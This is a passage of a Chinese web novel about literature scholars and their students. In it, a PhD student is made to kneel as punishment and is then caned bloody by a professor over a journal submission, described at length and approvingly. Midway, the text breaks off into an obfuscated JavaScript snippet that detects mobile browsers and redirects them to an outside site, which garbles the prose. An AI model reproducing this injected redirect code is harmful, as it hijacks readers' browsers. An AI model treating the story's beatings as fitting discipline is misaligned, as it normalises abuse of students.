茶杯在手中晃过半圈,到底没有入口。周先生看着门外小孩的身影,听着被风吹散了的断续笛声,忽然开口道:“对潇潇暮雨洒江天,一番洗清秋。渐霜风凄紧,关河冷落,残照当楼。是处红衰翠减,苒苒物华休。唯有长江水,无语东流……” 周先生念起词来,声音颇为浑厚,节奏缓慢,却颇有韵味。逆着风,字词零零散散地传到柏阅冬的耳朵里。他忽然觉得很熟悉,脑子不自觉就把那些字词串成句了—— 不忍登高临远,望故乡渺邈,归思难收。叹年来踪迹,何事苦淹留。想佳人妆楼颙望,误几回、天际识归舟。争知我,倚阑杆处,正恁凝愁! 登高临远,故乡悠邈。其实柏阅冬这样的年纪,是没有什么乡愁的,更何况这里比起他的故乡来,也只有更好。可是,他还有别的故乡。 他这么久以来,头一次回忆起那个校对办公室。那个办公室是为了点校元好问的词集给他们用的,而那个点校项目,本质上是他提出来的。他就是在那里,写出了那篇拿到国际词学论坛上汇报的论文,成为了星光熠熠的柏阅冬。 那是他的学术故乡,而他已经离那里很遥远了。 思绪恍惚间,指法已乱,不知道吹了些什么,甚至连气息也不对,“呼呼”地吹出了些风声。 他收了笛子,回屋子里去了。 推拉门一关,隔绝了外面的寒意。柏阅冬坐在蒲团上,把笛子放在一旁,沉默着。 周先生在他面前放一个空茶杯,倒入刚煮开的热茶,问:“有什么想不通的吗?” 柏阅冬端起茶,啜饮一口,本想说有的,可末了还是摇摇头:“没有。” 周先生笑了笑:“那就好。” 倒不是周先生看不穿他,只是这孩子万分通透,如果靠师父能解决,他一定会告诉师父。如果不肯说,那大约是说了也没什么用吧。 两天后,周先生从外面回来,发现小孩子在书房里埋头看书,很是入迷,连他到身后了也没有发现。 书摊在桌面上,柏阅冬眼睛盯着书,因为视野的关系,转头幅度比普通人大一些,边看还边啃指甲,津津有味,不知道的还以为他在看故事大王画库。 但他的面前,是一本前年出版的《柳永词研究》,不是国内出版的,是周先生带回来的。 小孩子来这里这么久,第一次正正经经地看书。 周先生忍不住摸了摸他的头发。柏阅冬茫然地抬头:“师父回来了?” “嗯。”周先生应了一声,不问他为什么看书,也不问他看得怎么样,只说,“累了要休息。” 柏阅冬用脑袋蹭蹭师父的手心,诚实道:“师父,我有想不通的事,可是我还要想。” “那就慢慢想,一辈子长着呢!” “如果一直想不通呢?” 柏阅冬的左眼亮晶晶的,跟星星一样,叫人看了就喜欢。周先生大拇指轻轻抚过他的眉毛,笑说:“给你买个猪脑吃。” 补脑子。 柏阅冬眼睛一弯,笑着抱住了师父,脑海里只有一个词。 举重若轻。 时间一天天过去,众人的生活如湖水一般宁静,甚至都要觉出些无聊了。就在冬日的一天,庄遂平朝毫无波纹的湖面掷了一颗石头,溅起一地鸡毛。 学院为了鼓励老师学生做研究,扩大学术影响力,每个月都会统计学院师生发表的文章,并将发表的文章复印后报送给领导和重要的老师。纪慎作为即将接任院长的重要领导,就这样猝不及防地收到了庄遂平发表文章的复印件。 然后他就火冒三丈差点没有把办公室砸了。 庄遂平来到这间熟悉的办公室时,竟生出了一点从前的感觉——老师生气了,他要挨打了。 可是现在的他早已不是俎上的鱼肉,纪慎再愤怒也不能奈他何。他就这么赌气似的推开门进去了。 纪慎见到他,气得话都说不出来,抓起那几张黑乎乎的复印纸就往他面前砸:“给我解释!” 庄遂平低头看着那几张纸散落一地,心中升起一股报复的快意,仰起头,不紧不慢道:“我发表了一篇文章。” “你!”纪慎快要心梗了,“你为什么不跟我说?” “这是周老师课程的论文,他说可以发。” 被堵了,纪慎骂不出来,瞪了他一眼,又问:“他让你发这种不入流学校的学报?!你是学校的博士,完全可以投我们自己的学报!投过来也是我审,怎么都会让你发的!” 纪慎只知道那刊物不 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纪慎不可置信地看向他,简直不能理解他的逻辑:“我现在是因为丢脸而生气吗?什么叫做你名义上是我的学生?你就是我的学生!就算你张口闭口没有一声老师,你也是我的学生!” 庄遂平瞳孔微张,似乎震惊于他竟然知道自己没有叫过他老师。 “你在试探我吗?想看看我会不会因为这些事生气?想看看我是不是这么在意自己的脸面?”纪慎抬手指着门口,手指颤抖不止,“你去问问你眼里的那些好老师,去问问你师爷,问问严老师周老师,要是他们的学生这么做,他们会怎么样?你去啊!” “你以为这是脸面的问题,是,这是脸面的问题。这是你自己的脸面!将来你自己有了学生,学生问起你为什么会发这么一篇文章,你怎么回答?”纪慎哼笑一声,“你就说是为了跟你的老师闹脾气,为了证明你不需要他也能自己发文章。你以为这样很厉害?庄遂平,你只是幼稚!” 庄遂平其实投稿的时候就隐隐觉得不对了,可是这会纪慎如此疾言厉色,却只让他委屈:“您还是只会骂我而已,对吗?” “你不该骂吗?我恨不得把你绑起来抽!” “那你绑啊!”庄遂平两行泪直直淌了下来,“反正这么久,你都是这样对我的。” 纪慎一怔,反被他的眼泪吓住了,一时之间没有反应。庄遂平自觉丢人,抬头抹掉眼泪,扭头跑掉了。 141.罚跪 庄遂平自认受尽了委屈,还不等回到宿舍,就在路上一家店里付钱打了个电话给师爷。碍着店老板就坐在柜台后面,也不好意思说得太肉麻,只是简单复述了一下事情,但最后还是忍不住委屈:“他就叫我去,骂了我一顿,现在出来了。” 原本是指望师爷安慰一下,或是跟他同仇敌忾,埋怨纪慎几句的。可是那头沉默了好一会儿,才问:“你之前跟师爷说想再确认一下,就是这么确认?” “嗯,但是我没有确认成功。” “那你觉得怎么才算成功呢?” 这回倒轮到庄遂平愣住了,他说不出一个准确的答案来。也许他想的是纪慎可以温和地跟他说不应该这么做,然后想办法帮他撤稿,再投到别的地方去。可是他很清楚纪慎不是这样的人,况且随意撤稿,在业内是很影响声誉的事,有些刊物可能因为担心稿件的不稳定而拒绝刊发,以后再要发文章就会难很多。 也许他想的是纪慎可以像严老师对巍思那样,好好讲道理,他知道错了也愿意挨打的。可是若纪慎真打了他,也许他就不高兴了,还是要找师爷告状。 那么,他到底想怎样呢? “我不知道。” 那头似乎在叹气:“遂平,你这样是很不负责任的。你用一种严重损害自己和纪慎名誉的方式在确认一件自己都没有答案的事,无论他如何反应,但这件事的损失已经造成了。我不说别人,单说你自己,你这样,对得起自己为这篇文章付出的心力吗?” 庄遂平没有回答,可他心里已经有了答案。 “再往大了说,这是你们周老师的课程作业,他指导过你,你这样做,对得起他吗?你是纪慎的学生,你这样去发文章,别人怎么看待纪慎?再往大了说,你能够读博士,能够相对独立地完成一个小研究,写出一篇小文章,这里头是有很多人的心血的,但是你在做什么?” “我知道错了。” “遂平,你年纪还小,以为只是一篇文章,以为你还可以再写,以后将来还有很多机会。可是师爷告诉你,不是这样的,你写出来、发表出来的东西,不知道哪一天就会成为别人曲解、诬告你的凭借。人的名声是很重要的,我们要写很多文章出很多书才能让别人知道我们在做什么,我们是什么样的人,可是只要随便地发一篇文章,就可以毁掉你辛辛苦苦积攒起来的名誉和声望,你明白吗?” 还在人家店里,庄遂平不敢说太多,只道:“我明白了。” “今天还有事情吗?” “没有了。” “回去跪一个小时,自己好好想想。” 庄遂平鬼使神差地瞄了一眼店老板,生怕听筒声音太大让人家听见,幸亏那老板始终扭头看着外面。他不由自主红了脸,应了一声:“是。” 庄遂平乖乖回了宿舍,放好东西,便对着墙壁跪了下来。虽然没有人看着,但也不敢放一点水,始终跪得直直的。只是脑子里想什么,只有他一个人知道了。 罚跪听着简单,但其实十分难熬。保持一个姿势,面前只有一面白墙,最多五分钟便开始感到无聊,小腿发麻,膝盖骨也有些生硬的疼。 庄遂平还算能忍,挨了十来分钟,小腿麻得没有知觉了,才敢稍微将一边膝盖抬起一点,好缓解一下压力。 此后时间的流逝便越来越慢,反省、复盘、如何面对纪慎和师爷、周老师会不会生气……一系列问题他想了个遍,可一看手表,也才刚过半小时。 于是他开始烦恼为什么纪慎没有打他一顿,如果纪慎对他动手,师爷无论如何不会再罚他跪。要么纪慎现在来也行,跪着实在太难受。庄遂平想,他总算知道了度秒如年的真正含义,从前总以为挨打难熬,跟罚跪一比,挨打简直不算什么了。 后来那半小时也不知道庄遂平是怎么熬完的,总之手表上的分针的的确确走了一圈。庄遂平双腿都使不上劲,只能用手扶墙勉勉强强站起来,整个人歪在墙边靠着,脚稍微动一动都牵着发酸发麻。 在墙边恢复了二十分钟,总算能一瘸一拐地出去给师爷打电话:“师爷,已经一小时了。” 毕竟是公寓走廊的电话,他担心有人经过,不敢提及罚跪二字。不过纪老先生知道他说什么,没有计较他的表述,只问:“想明白了?” 庄遂平低头看地板,闷闷道:“我以后不会了。” “知道错了就去给你老师认个错,你老师从前待你不好是他的问题,可这件事,不管怎么说都是你不对。” 要去给纪慎认错吗?庄遂平万分忐忑,但这时候也只能先应付着:“是,我知道了。” “回去上点药,别落下病根。要是难受,就去医院瞧瞧,心里头别置气,知道吗?” “嗯,我明白的,师爷。” 小孩子好好讲道理还是愿意听的,也不会因为师爷罚他跪就记恨,从前和纪慎闹成那样,说到底是纪慎伤他的心了。 不过看到他的论文的还不止纪慎一人。周先生这天买菜回来,在楼下信箱取报纸时,一并拿到了这个月学院师生发表的文章复印件,一边上楼一边看,进门时脸已经阴沉得快要出水了。 柏阅冬甚少见到师父这样的表情,一时间有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450785|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害怕,问:“师父,出什么事了?” 以前周先生是不在小孩面前说关于课程和论文的事的,但前段时间小孩子开始看书了,他也偶尔谈几句,点到即止。今日大手一挥,把庄遂平的文章给他看了。 柏阅冬一瞧,不由得为同学发表文章高兴,可笑容却在下一秒消失了:“他怎么……怎么投了个……嗯……不太知名的期刊?” “你那个同学,脑子是不是有问题?” 柏阅冬跟师父一起生活这么久,还没有听他这样说过话,一时之间不敢回话。 周先生提着菜往厨房里去了,说:“去把藤条找出来,泡上水,我明天要带去。” 明天是上课的日子。柏阅冬应了声是,想,遂平要受苦了。 那根藤条柏阅冬在最开始挨打的那段时间里挨过一次,此后便闲置了。柏阅冬从书房的墙角里找出来,放进花瓶里泡着,便不再提了。 等到晚上周先生下去丢垃圾,柏阅冬才赶紧给严先生家打了电话:“喂,是巍思吗?我是阅冬。” “阅冬,怎么了?” “我师父明天可能要打遂平,你能不能联系上他?让他请假算了。” “啊?”刘巍思一头雾水,“为什么?” “他发了一篇文章,发了个不知道什么学校的学报,我师父很生气。”柏阅冬很着急,“我不能说了,等会我师父要回来了,你记得提醒他,再见!”说罢,“啪”地挂了电话,赶紧吹他的笛子去了。 而另一头,刘巍思听着电话里的“嘟嘟”声,一脸茫然。严先生也听得莫名其妙,问:“冬冬怎么了?” 刘巍思一耸肩:“我不知道啊,就说遂平发了篇文章,不知道是什么学校的学报,周老师有点生气,明天上课可能要打遂平。” 小孩子这么一提醒,严先生倒是记起来了。他今天去给研究生上课,就已经知道这件事了,当时也有些生气,但是上完课之后,就把这件事抛脑后了。 “我知道,遂平也太胡闹了些。我今天还想着要问问你,他现在和你纪老师是怎么个情况。” “我也不知道啊,应该还可以吧,没见他说什么呀,而且他也比之前好多了。” “那他这么干,你纪老师不得气死?” 刘巍思摇摇头,猛地想起阅冬交代他的事:“那,我要不要给他通风报信啊?明天周老师真打他怎么办?” “你别管,活该他挨这顿打。”严先生说着还不忘提醒自己的学生,“你也给我警醒着点,要是敢学他胡来,等着屁股开花!” “我才不会!” 142.藤条 第二天周先生到会议室,看见两个学生已经在里面坐好了,便顺手关上了门。 庄遂平因为纪慎和师爷的态度情绪低落,没注意到周先生手上的藤条,直到周先生叫他的名字让他过去,他才如梦初醒,懵懵懂懂起身朝周先生走去。 刘巍思早知道有此一遭,紧皱着眉头,却不敢说话。 周先生拿着藤条,敲了敲他的大腿:“裤子脱了,撑桌上。” 庄遂平这才知道自己站到这里来是要挨打,茫然地问:“为什么?” “文章。” 庄遂平心里一“咯噔”,知道逃不过,还存着一点渺茫的希望:“可是……” “可是我不是你导师,对吗?”周先生轻飘飘地抛过去一个白眼,“这篇文章是我这门课的作业,我提过修改意见。你投这种学报,简直是浪费我的力气,玷污我的心意!” 刘巍思抿抿唇,心想周老师生气了,他平日也打人,可很少说这么重的话,遂平把文章发在普通学校的学报上,肯定让他很愤怒。 庄遂平眨眨眼,眼睫毛瞬间湿了。他为了试探纪慎,甘愿赔上自己的名声。没想到,弄巧成拙,纪慎没有好态度,还惹来师爷一顿责罚和周老师一场教训。 他低垂着头,慢慢解开裤子的纽扣和拉链,咬住下唇,一把将裤子褪到大腿根,露出了身后两团肉。 上一次巍思这么挨教训的时候他还觉得难堪,一转眼,就轮到他了。 “周老师……”刘巍思没忍住,唤了一声,可周先生眼睛一瞟,他便不敢说话了。 藤条是昨晚泡水泡到今天上午的,原本只有小指粗,吸饱了水,却足有食指大小,往庄遂平屁股上一搭,吓得他手臂一软,手肘屈了下来。 “撑好。你如果是我的学生,就不是挨藤条这么简单。” 庄遂平咬着嘴里的肉,委屈地摆好了姿势。 周先生拿藤条在他臀尖上比划了一下,似乎在寻找最佳位置,然后猛地扬起,“啪”一声抽了下去。 “呃……”尖利的疼痛像刀片一样割下来,在他臀尖上留下一道鲜艳的红痕。尖锐疼痛过后是一道细细的刺麻感,庄遂平勉强可以忍受。 可是紧接着,饱满的抽打声又响了起来,屁股结结实实地挨了第二下,庄遂平猛地往桌子撞去,幸而双手撑得稳,没有真的撞上。 “啪!”“啪!”“啪!”藤条不紧不慢,可是每一下都蓄足了劲,从高处兜风抽落,似乎在比赛哪一下能给那两团肉留下最可怖的伤痕。 十来下过后,整个屁股从臀尖到臀腿交接处都布满了一道道半指宽的红棱,原本平整的皮肤微微隆起,明显肿了。 庄遂平浑身都热了起来,疼痛刺激着他,不仅屁股难受,就连太阳穴都跟着“突突”跳。 刘巍思哪里看得下去?提醒道:“周老师,该上课了。” “我现在就在给你们上课。”周先生连眼神都不给他,仍对庄遂平道,“撑好,这才刚开始。” 庄遂平心中一阵发虚,可根本不敢反抗,只得用力撑住,双腿也站得更直,微微肿起的屁股朝后撅了撅。 藤条“啪”地抽在那一片肿痕上,疼痛指数式地上升,庄遂平“啊”了一声,往右边躲开了。 周先生嗤笑一声:“怎么?是纪鸿云教你,受罚可以躲吗?” 语气并不严厉,可庄遂平却看到了他眼里的决绝。他摇了摇头,已经预知到了今天的命运——他的屁股保不住了。 他往左边挪了回来,重新摆好受罚的姿势。可是这一次,周先生不再一下下有节奏地抽打,而是对准臀尖那一处,”噼里啪啦“地连续抽下。庄遂平被连续不断的疼痛袭击了,脑子一片空白,双腿却死死钉在原地,动也不敢动,只是嘴里”啊啊啊“地惨叫,哭腔都出来了。 一口气连打二十下,全打在一个地方,藤条停下的时候,臀尖隐隐破了皮,跟油泼火烧似的,庄遂平眼泪”唰“地淌下来,连求饶也不敢。 好疼,真的好疼…… 可是周先生没有放过他,仍是淡淡的:“撑好。” “周老师!”刘巍思站了起来,“您不可以这样。” 周先生笑了笑,堪称温和:“那你去叫纪慎来看,看纪慎说可不可以,怕纪慎不够格对我指手画脚,你还可以打电话给他师爷,问他师爷我能不能打他。” 庄遂平吸吸鼻子,看向刘巍思,轻轻地摇了摇头。 刘巍思无可奈何,又坐下了。 藤条又抽上了庄遂平的屁股,但不再是连续抽打,而是恢复了刚开始的不紧不慢,在他臀尖下一处慢慢往下,责打声“啪啪”地回响在会议室里,伴随着庄遂平低声的啜泣,刘巍思听着,心头像被谁捏了一把。 “啪!啪!啪!” “唔……啊——”痛呼声越来越频繁,庄遂平感觉整个屁股都火辣辣地烧了起来,不知道是不是出血了,可是周先生一直没说要打多少,他一边忍着疼,还一边为未知的痛苦而忐忑着,实在煎熬极了。 从上往下打了五六轮,少说也有五六十下,那片皮肤全都高高肿起,薄薄的表皮下能清晰看见一道道血丝,大约再打就要真的出血了。 周先生收了藤条,道:“打你只打这么多,是因为你不是我的学生,你要是在我门下,可以一周不下床。” 庄遂平只听出了一个意思,那就是他可以穿裤子了,于是长长呼出一口气,往右挪了一步,才开始难为情地拉扯裤子。 “你挨多 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“我扶你回去吧。”刘巍思把他的笔记本和笔都收进自己的斜挎包里,拉过他一条手臂搭在自己肩上,另一手扶住他的腰,慢慢地出去了。 庄遂平根本走不动,迈出一小步,屁股就跟撕裂一样,他怀疑是血迹粘住裤子了,可是也根本没办法在这里检查,只得强忍着,一点一点往外挪。 挪到走廊上,庄遂平攀着墙壁,却没注意到纪慎迎面走来,只听刘巍思喊了一声:“纪老师。” 庄遂平尴尬地抬起头,对上纪慎冷漠的视线,又低下了头。 他这个样子,纪慎定然看出他挨打了,纪慎会怎么想?觉得他活该?还是会冷漠地勾勾嘴角,认为他得到了报应?又或者,会有一点点心疼? 他想,如果别的老师知道自己的学生被其他人打成这样,多少会有点愤怒的,可是他不敢奢望纪慎这样把他放在心上。 他只希望,纪慎能多看他一眼,问一句没事吧。如果纪慎问了,他就顺势认错道歉,就……就让这件事过去。 可没想到,庄遂平想象中的场景都没出现,纪慎好像没看见他,只冲刘巍思道:“下课了?” “嗯,遂平他……他有点不舒服。” “不舒服就回去歇着。”纪慎着急要走,“我去找童院。” “哦,纪老师再见。” 纪慎急匆匆离开了,庄遂平不由自主,微微扭头,目光跟随着他离去的身影,一阵心酸委屈,却什么也不敢说。 “要不要扶你去纪老师那里先休息一会?” 庄遂平摇摇头,没有说话,刘巍思也不再开口了。